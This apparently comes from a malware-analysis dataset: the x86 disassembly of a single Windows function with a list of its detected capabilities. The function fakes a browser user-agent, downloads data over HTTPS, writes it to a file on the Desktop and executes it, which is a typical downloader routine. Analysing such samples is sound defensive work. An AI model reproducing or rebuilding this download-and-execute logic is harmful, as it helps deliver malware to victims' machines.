Function at 0x10001020
Capabilities:
Create process on windows
Get common file path
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0xffffffff
push eax
push 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.10001ef0
add esp, 0xc
lea eax, [ebp - 0x414]
push eax
push 0
push dword [ebp - 0x41c]
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_47.0.2526.111_Safari_537.36
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x430], eax
test eax, eax
je 0x100012db
push esi
push edi
push 0
push 0x1bb
push 0x1000e190
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, eax
mov dword [ebp - 0x42c], edi
test edi, edi
je 0x100012d1
push ebx
push 0x800000
lea eax, [ebp - 0x438]
mov dword [ebp - 0x438], 0x1000e208
push eax
push 0
push 0
push 0x1000e190
push 0x1000e210
push edi
mov dword [ebp - 0x434], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, eax
test ebx, ebx
je 0x100012cd
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x100012ca
push 0
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x100012ca
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.10001ef0
add esp, 0xc
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov edi, eax
push 0x104
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
mov ecx, 0x104
lea eax, [ebp - 0x20c]
sub ecx, edi
lea eax, [eax + edi*2]
push ecx
push str.Desktophello
push eax
call esi
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x424], eax
test eax, eax
je 0x100012a7
lea eax, [ebp - 0x418]
xor esi, esi
push eax
push ebx
xor edi, edi
mov dword [ebp - 0x418], esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x10001292
nop dword [eax + eax]
mov eax, dword [ebp - 0x418]
test eax, eax
je 0x10001292
cmp edi, eax
jae 0x1000122a
push eax
push esi
call fcn.1000427b
add esp, 8
test eax, eax
je 0x10001292
mov esi, eax
mov eax, dword [ebp - 0x418]
mov edi, eax
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x420], 0
push ecx
push eax
push esi
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push 0
lea eax, [ebp - 0x428]
mov dword [ebp - 0x428], 0
push eax
push dword [ebp - 0x420]
push esi
push dword [ebp - 0x424]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x418]
mov dword [ebp - 0x418], 0
push eax
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x10001200
push esi
call fcn.10004260
add esp, 4
push dword [ebp - 0x424]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, dword [ebp - 0x42c]
push ebx
call esi
push edi
call esi
pop ebx
push dword [ebp - 0x430]
call esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100012fa
mov esp, ebp
pop ebp
ret